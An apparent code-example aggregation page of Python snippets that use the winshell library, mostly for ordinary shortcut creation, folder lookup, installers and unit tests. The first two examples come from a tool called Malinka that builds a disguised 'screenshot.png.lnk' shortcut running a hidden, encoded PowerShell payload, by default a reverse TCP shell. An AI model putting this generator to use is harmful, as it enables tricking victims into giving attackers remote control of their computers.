예제 #1
0
	def createShortcut(self):
		
		if verbose:
			print("Loading payload...")

		payloadBin = open(os.getcwd()+"/payload/"+self.payload+".ps1", 'r').read()

		if verbose:
			print("Loaded payload "+self.payload+" ({} bytes)".format(len(payloadBin)))
			print("Encoding payload...")

		payloadBin = powershell_encode(payloadBin)
		if verbose:
			print("Encoded payload ({} bytes)".format(len(payloadBin)))

		if verbose:
			print("Generating shortcut...")

		outputFile = str(os.getcwd() +"/"+self.scName)
		with winshell.shortcut(outputFile) as malink:
			malink.path = str(Path(winshell.folder('CSIDL_SYSTEM')) / 'WindowsPowerShell' / 'v1.0' / 'powershell.exe')
			malink.description = self.scComment
			malink.arguments = "-nologo -windowstyle hidden -encodedCommand "+payloadBin
			malink.icon_location = self.scIcon
			malink.working_directory = str(Path(winshell.folder('CSIDL_SYSTEM')))
			if verbose:
				print("Payload generated: ")
				malink.dump()

		print("Thanks for using Malinka.")
		print("Malinka is published and developed for academic use only")
		print("Please act with professional and ethical intent when using this software")
예제 #2
0
	def __init__(self, scName="screenshot", scComment="Screenshot", scIcon=WIN10_IMAGE_ICON, payload="powershell_reverse_tcp", host="", port=4444):

		""" Shortcut name """		
		if scName:
			self.scName = scName+".lnk"
		else:
			self.scName = "screenshot.png.lnk"

		""" Shortcut comment """
		if scComment:
			self.scComment = scComment
		else:
			self.scComment = ""

		""" Shortcut icon """
		if scIcon:
			self.scIcon = (str(Path(winshell.folder('CSIDL_SYSTEM')) / 'shell32.dll'), int(scIcon))
		else:
			self.scIcon = (str(Path(winshell.folder('CSIDL_SYSTEM')) / 'shell32.dll'), WIN10_IMAGE_ICON)


		""" Powershell payload """
		if payload:
			self.payload = payload
		else:
			self.payload = str(input("Enter payload path: "))
예제 #3
0
def setup_version(requiredVersion):
    """Knowing the required version of The AI Sandbox, check if it's there and
    perform and update if necessary."""

    if not requiredVersion:
        return

    try:        
        try:
            from aisbx import version            
            if version.checkValid(requiredVersion):
                return
            else:        
                version.doUpdate()

        except ImportError:
            print >>sys.stderr, "ERROR: Couldn't initialize The AI Sandbox version %s.  Starting update..." % requiredVersion
        
            import subprocess
            import winshell
            subprocess.call(['update.exe'], cwd = os.path.join(winshell.folder('local_appdata'), 'AiGameDev.com', 'The AI Sandbox'), shell = True)
    except:
        print >>sys.stderr, "ERROR: Fatal problem initializing The AI Sandbox version %s!  Please update.\n" % requiredVersion
        print >>sys.stderr, "  ", os.path.join('%LocalAppData%', 'AiGameDev.com', 'The AI Sandbox'), "\n"
    
    sys.exit(-1)
예제 #4
0
def setup_version(requiredVersion):
    """Knowing the required version of The AI Sandbox, check if it's there and
    perform and update if necessary."""

    if not requiredVersion:
        return

    try:
        try:
            from aisbx import version
            if version.checkValid(requiredVersion):
                return
            else:
                version.doUpdate()

        except ImportError:
            print >> sys.stderr, "ERROR: Couldn't initialize The AI Sandbox version %s.  Starting update..." % requiredVersion

            import subprocess
            import winshell
            subprocess.call(['update.exe'],
                            cwd=os.path.join(winshell.folder('local_appdata'),
                                             'AiGameDev.com',
                                             'The AI Sandbox'),
                            shell=True)
    except:
        print >> sys.stderr, "ERROR: Fatal problem initializing The AI Sandbox version %s!  Please update.\n" % requiredVersion
        print >> sys.stderr, "  ", os.path.join('%LocalAppData%',
                                                'AiGameDev.com',
                                                'The AI Sandbox'), "\n"

    sys.exit(-1)
예제 #5
0
def makeShortcut():
    """ Create a windows shortcut on the desktop to start FOQUS """
    import os
    import pathlib as pl
    import sys
    import logging

    log = logging.getLogger("foqus." + __name__)
    if os.name != 'nt':
        log.error(
            f"Shortcut currently only created on Windows, not yet on {os.name}"
        )
        return -1

    import winshell

    # Define all the file paths needed for the shortcut
    desktop = pl.Path(winshell.desktop())
    link_filepath = desktop / "ccsi-foqus.lnk"
    conda_base = pl.Path(os.environ['CONDA_PREFIX_1'])
    activate_bat = conda_base / 'Scripts' / 'activate.bat'
    conda_env = pl.Path(os.environ['CONDA_PREFIX'])
    foqus_exe = conda_env / 'Scripts' / 'foqus.exe'
    win32_cmd = pl.Path(winshell.folder('CSIDL_SYSTEM')) / 'cmd.exe'
    this_dir = pl.Path(__file__).resolve().parent
    icon = this_dir / "foqus.ico"
    log.debug(f'icon file is {icon}')
    working_dir = pl.Path(winshell.folder('PERSONAL'))  # "Documents"

    # Build up all the arguments to cmd.exe
    cmd_args = f"/K {activate_bat} {conda_env} & {foqus_exe} && exit"

    if link_filepath.exists():
        log.info(f'Overwriting shortcut: {link_filepath}')
    else:
        log.info(f'Creating shortcut: {link_filepath}')

    # Create the shortcut on the desktop
    with winshell.shortcut(str(link_filepath)) as link:
        link.path = str(win32_cmd)
        link.description = "CCSI FOQUS"
        link.arguments = cmd_args
        link.icon_location = (str(icon), 0)
        link.working_directory = str(working_dir)
    return 0
예제 #6
0
 def __init__(self):
     CSIDLs = [
         "mypictures", "common_pictures", "myvideo", "common_video",
         "personal"
     ]
     self.folders_ = [{
         "name": name,
         "path": winshell.folder(name)
     } for name in CSIDLs]
def get_links_directory():
    """
    Return user Links directory
    """
    
    return os.path.join(winshell.folder("profile"), 'Links')
예제 #8
0
y después uno o más párrafos de explicación...'''

__author__ = 'xxxx xxxx'
__date__ = 'xxxx xxxx'
__version__ = 'xxxx xxxx'
__credits__ = 'xxxx xxxx'
__text__ = 'xxxx xxxx'
__file__ = 'xxxx xxxx'

import sys
import os
import winshell

for i in range(0, 100):
    try:
        print "{} {}".format(i, winshell.folder(i))
    except:
        pass

from funciones.files import findFiles
from funciones.util.functionName import whoami, whosdaddy
from funciones.log.log import get_file_log, get_log, log_constantes

# NIVELES DE LOG logger = log.fileLog(log_name, NIVEL)
CRITICAL = 50
ERROR = 40
WARNING = 30
INFO = 20
DEBUG = 10
NOTSET = 0
예제 #9
0
 def __init__(self):
   CSIDLs = ["mypictures", "common_pictures", "myvideo", "common_video", "personal"]
   self.folders_ = [{"name": name, "path": winshell.folder(name)} for name in CSIDLs]
예제 #10
0
파일: windows.py 프로젝트: sdaves/shortcut
 def _get_menu_folder(self):
     return winshell.folder("CSIDL_PROGRAMS")
예제 #11
0
파일: windows.py 프로젝트: sdaves/shortcut
 def _get_desktop_folder(self):
     return winshell.folder("CSIDL_DESKTOPDIRECTORY")
def get_links_directory():
    """
    Return user Links directory
    """

    return os.path.join(winshell.folder("profile"), 'Links')
예제 #13
0
 def test_folder_by_name_lowercase(self):
     self.assertEqual(winshell.folder("appdata"), winshell.get_path(shellcon.CSIDL_APPDATA))
def get_links_directory():
    """
    Return user Links directory. Despite its name, this method is used in add_favorites()
    """
    
    return os.path.join(winshell.folder("profile"), 'Links')
def get_favorite_directory():
    """
    Return favorite directory
    """
    
    return winshell.folder("Favorites")
def get_links_directory():
    """
    Return user Links directory. Despite its name, this method is used in add_favorites()
    """

    return os.path.join(winshell.folder("profile"), 'Links')
예제 #17
0
def dexSystemLocation(data):
    query = data
    query = re.sub(r'(.*)(Dexter)?(.*)(open)+( )*', '', data, 1)

    if 'music' in query.lower():
        dexSay.speak('Opening Music Folder', 'm', True)
        time.sleep(2)
        os.startfile(winshell.folder('mymusic'))

    if 'picture' in query.lower():
        dexSay.speak('Opening Pictures Folder', 'm', True)
        time.sleep(2)
        os.startfile(winshell.folder('mypictures'))

    if 'video' in query.lower():
        dexSay.speak('Opening Video Folder', 'm', True)
        time.sleep(2)
        os.startfile(winshell.folder('myvideo'))

    if 'documents' in query.lower():
        dexSay.speak('Opening Documents Folder', 'm', True)
        time.sleep(2)
        os.startfile(winshell.folder('personal'))

    if re.search(r'program file', query, re.I):
        dexSay.speak('Opening Program Files', 'm', True)
        time.sleep(2)
        os.startfile(winshell.folder('program_files'))

    if re.search(r'(86|eighty six)', query, re.I):
        dexSay.speak('Opening Program Files x 86', 'm', True)
        time.sleep(2)
        os.startfile(winshell.folder('program_filesx86'))

    if re.search(r'control panel', query, re.I):
        dexSay.speak('Opening Control panel', 'm', True)
        time.sleep(2)
        os.system('{0}\\System32\\control.exe'.format(os.environ['WINDIR']))

    if re.search(r'my computer', query, re.I):
        dexSay.speak('Opening My Computer', 'm', True)
        time.sleep(2)
        os.system(
            '%WinDir%\explorer.exe /e,::{20d04fe0-3aea-1069-a2d8-08002b30309d}'
        )

    if re.search(r'drive', query, re.I):
        query = re.sub('( )*drive( )*', '', query)
        dexSay.speak('Opening your ' + query.lower() + ' drive', 'm', True)
        time.sleep(2)
        try:
            os.startfile(query.upper() + ':')
        except:
            dexSay.speak('Sorry, Can\'t find the drive on your computer', 'm',
                         True)
    if re.search('document', query):
        dexSay.speak('Opening Documents Folder', 'm', True)
        time.sleep(2)
        os.startfile(winshell.folder('personal'))

    if re.search('download', query, re.I):
        dexSay.speak('Opening Downloads folder', 'm', True)
        time.sleep(2)
        with OpenKey(
                HKEY_CURRENT_USER,
                'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders'
        ) as key:
            Downloads = QueryValueEx(
                key, '{374DE290-123F-4565-9164-39C4925E467B}')[0]

        os.startfile(Downloads)
예제 #18
0
 def test_folder_by_int(self):
     self.assertEqual(winshell.folder(shellcon.CSIDL_APPDATA), winshell.get_path(shellcon.CSIDL_APPDATA))
예제 #19
0
 def _get_nonexistent_folder():
     winshell.folder("XXX")
예제 #20
0
@cli.command()
def install():
    """ Add a shortcut to the Windows Start menu to run Jupytray. """
    create_shortcut(start_menu_dir)
    create_shortcut(startup_dir)


@cli.command()
def uninstall():
    """ Remove the shortcuts installed by `jupytray-shortcuts install`. """
    remove_shortcut(start_menu_dir)
    remove_shortcut(startup_dir)


start_menu_dir = Path(winshell.folder("startmenu")) / "Programs"
startup_dir = Path(winshell.folder("startup"))
conda_root = Path(sys.base_prefix)


def get_shortcut_path(dir: Path):
    return dir / "Jupytray.lnk"


def create_shortcut(dir):
    shortcut_path = get_shortcut_path(dir)
    with winshell.shortcut(str(shortcut_path)) as shortcut:
        shortcut.path = str(conda_root / "pythonw.exe")
        shortcut.arguments = "-m jupytray"
        shortcut.working_directory = str(conda_root)
        shortcut.icon_location = (str(icon_path), 0)
def get_favorite_directory():
    """
    Return favorite directory
    """

    return winshell.folder("Favorites")
예제 #22
0
    def func_install(self, gui_app):
        try:
            import sys

            guestOS = sys.platform

            # Require Python 3 to work
            if sys.version_info.major < 3:
                raise PythonVersionError
            else:
                gui_app.printcmd("OK:	Python 3")

            try:
                pip = __import__('pip')
                gui_app.printcmd("OK:	Pip")
            except ModuleNotFoundError:
                gui_app.printcmd("Warning: Pip module not found.")
                gui_app.printcmd(
                    "         Required dependencies won't be automatically installed."
                )

            try:
                from pip._internal import main as pipmain
            except:
                from pip import main as pipmain
            self.pipmain = pipmain

            # List of modules required by SimCav
            simcav_modules = ['tkinter', 'numpy', 'requests', 'matplotlib'
                              ]  #, 'itertools', 'os', 'pickle', 'webbrowser']
            # The last ones, commented, are part of the standard python distribution.

            # List of modules required by the installer
            installation_modules = []
            if guestOS == 'win32':
                installation_modules.append('winshell')
            installed_modules = []
            # Check that modules exist / can be imported
            gui_app.printcmd("\nChecking required modules:")
            haveIinstalled = False
            for i in simcav_modules + installation_modules:
                try:
                    __import__(i)
                    gui_app.printcmd("OK:	" + i)
                except ModuleNotFoundError:
                    gui_app.printcmd('x:	' + i)
                    gui_app.printcmd(
                        '\n Module ' + i +
                        ' not found, but is required for SimCav to work')

                    useranswer = gui_app.askuserbox(
                        "Should I try to install '" + i + "'?")
                    if useranswer:
                        haveIinstalled = self.install(i)
                        if haveIinstalled:
                            if i in installation_modules:
                                installed_modules.append(i)
                        else:
                            raise PipInstallError(i)
                    else:
                        raise NotModuleError(i)
            gui_app.printcmd(
                '\nAll dependencies satisfied! Continuing installation...\n')

            #===============================================
            # SIMCAV INSTALLATION

            # Locations
            if guestOS == 'win32':
                import winshell
                user_home = winshell.folder("profile")
            else:
                user_home = os.path.expanduser('~')

            simcav_home = os.path.join(user_home, 'SimCav')

            gui_app.printcmd('Install location: ' + simcav_home)

            # Checking / creating SimCav folder
            if not os.path.exists(simcav_home):
                os.makedirs(simcav_home)
                user_proceed = gui_app.askuserbox(
                    "This will install SimCav in your system.\nContinue?")
            else:
                user_proceed = gui_app.askuserbox(
                    "The install directory already exist \n(" + simcav_home +
                    ")\nOverwrite?")
            if not user_proceed:
                raise UserCancel
            install_window.update_idletasks()
            # Downloading files
            import requests
            simcav_api = 'https://gitlab.com/api/v4/projects/6789132/repository/'
            simcav_url = 'https://gitlab.com/simcav/simcav/raw/master-old/'

            # Required files
            simcav_files = [
                'simcav_main.py', 'simcav_CavityComputation.py',
                'scrolledframe.py', 'simcav_ElementFeatures.py',
                'simcav_abcd.py', 'simcav_simulator.py', 'tooltips.py',
                'simcav_uninstaller.py', 'simcav_updater.py', 'misc.py'
            ]
            simcav_icons = []
            simcav_saves = []
            simcav_misc = [
                'LICENSE', 'Disclaimer.txt', 'README.md', 'CHANGELOG'
            ]

            # Get icons list from repo
            r = requests.get(simcav_api + 'tree?ref=master-old&per_page=100',
                             params={'path': 'Icons/'})
            if r.status_code == requests.codes.ok:
                gui_app.printcmd('\n Established connection.')
            else:
                gui_app.printcmd('\n Error connecting, try again later.')
                return
            for i in r.json():
                if not '.svg' in i['name']:
                    simcav_icons.append(i['name'])
            # Get saves list from repo
            r = requests.get(simcav_api + 'tree?ref=master-old&per_page=100',
                             params={'path': 'Saves/'})
            for i in r.json():
                simcav_saves.append(i['name'])
            #=================================
            gui_app.printcmd('\n Creating subfolders...')
            # Icons folder
            try:
                icons_folder = os.path.join(simcav_home, 'Icons')
                if not os.path.exists(icons_folder):
                    os.makedirs(icons_folder)
            except:
                gui_app.printcmd("Error creating 'Icons' folder")
            # Saves folder
            try:
                saves_folder = os.path.join(simcav_home, 'Saves')
                if not os.path.exists(saves_folder):
                    os.makedirs(saves_folder)
            except:
                gui_app.printcmd("Error creating 'Saves' folder")

            #=================================
            #Downloading SimCav files
            gui_app.printcmd('\n Downloading modules...')
            for i in simcav_files:
                gui_app.printcmd("     Downloading " + i)
                self.download_file(simcav_url + i,
                                   os.path.join(simcav_home, i))

            gui_app.printcmd('\n Downloading icons...')
            for i in simcav_icons:
                gui_app.printcmd("     Downloading " + i)
                self.download_file(simcav_url + 'Icons/' + i,
                                   os.path.join(icons_folder, i))

            gui_app.printcmd('\n Downloading examples...')
            for i in simcav_saves:
                gui_app.printcmd("     Downloading " + i)
                self.download_file(simcav_url + 'Saves/' + i,
                                   os.path.join(saves_folder, i))

            gui_app.printcmd('\n Downloading readmes...')
            for i in simcav_misc:
                gui_app.printcmd("     Downloading " + i)
                self.download_file(simcav_url + i,
                                   os.path.join(simcav_home, i))

            gui_app.printcmd('\n Downloading manual...')
            if not 'manual.pdf' in os.listdir(simcav_home):
                self.download_file(simcav_url + 'Manual/manual.pdf',
                                   os.path.join(simcav_home, 'manual.pdf'))
            #gui_app.printcmd('\n Files downloaded')
            #=================================================================
            # Create system links
            gui_app.printcmd('\n Creating shortcuts...')
            # Create desktop shortcut
            if guestOS == 'win32':
                # NOT WORKING YET

                def create_shortcut(thepath, thehome):
                    gui_app.printcmd('\n Creating shortcut in ' + thepath)
                    python_path = os.path.join(os.path.dirname(sys.executable),
                                               'pythonw.exe')
                    mainfile_path = os.path.join(thehome, 'simcav_main.py')
                    icons_folder = os.path.join(thehome, 'Icons')
                    with winshell.shortcut(thepath) as thelink:
                        thelink.path = python_path
                        thelink.arguments = '"' + mainfile_path + '"'
                        thelink.working_directory = thehome
                        thelink.description = "Shortcut to SimCav"
                        thelink.icon_location = (os.path.join(
                            icons_folder, 'logo-tg3.ico'), 0)

                # Create icon in Desktop
                #python_path = os.path.dirname(sys.executable)
                shortcut_path = os.path.join(winshell.desktop(), 'SimCav.lnk')
                create_shortcut(shortcut_path, simcav_home)

                # Create StartMenu access
                startmenu_path = os.path.join(winshell.start_menu(),
                                              'Programs', 'SimCav.lnk')
                create_shortcut(startmenu_path, simcav_home)

            elif guestOS == 'linux':
                desktop_path = os.path.join(os.path.join(user_home, 'Desktop'),
                                            'SimCav.desktop')
                desktop_content = "[Desktop Entry]\nType=Application\nName=SimCav\nGenericName=Laser cavity simulator\nComment=Application for design and simulation of laser resonators\nExec=python " + os.path.join(
                    simcav_home, 'simcav_main.py'
                ) + "\nIcon=" + os.path.join(
                    icons_folder, 'logo-tg3.png'
                ) + "\nPath=" + simcav_home + "\nTerminal=false\nStartupNotify=false\nCategories=Education;Science"

                with open(desktop_path, 'w') as desktop_file:
                    desktop_file.write(desktop_content)
                with open(
                        os.path.join(user_home, '.local', 'share',
                                     'applications', 'SimCav.desktop'),
                        'w') as desktop_file:
                    desktop_file.write(desktop_content)

            gui_app.printcmd('\nInstallation finished!')

        except Exception as inst:
            gui_app.printcmd('\nError: ' + type(inst).__name__)
            if type(inst).__name__ in [
                    'PythonVersionError', 'NotModuleError', 'PipInstallError',
                    'UserCancel'
            ]:
                gui_app.printcmd(inst.message)
            else:
                raise

        finally:
            for i in installed_modules:
                self.uninstall(i)
            gui_app.printcmd('\nYou may close this window.')
예제 #23
0
 def test_folder_by_name_no_prefix(self):
     self.assertEqual(winshell.folder("APPDATA"), winshell.get_path(shellcon.CSIDL_APPDATA))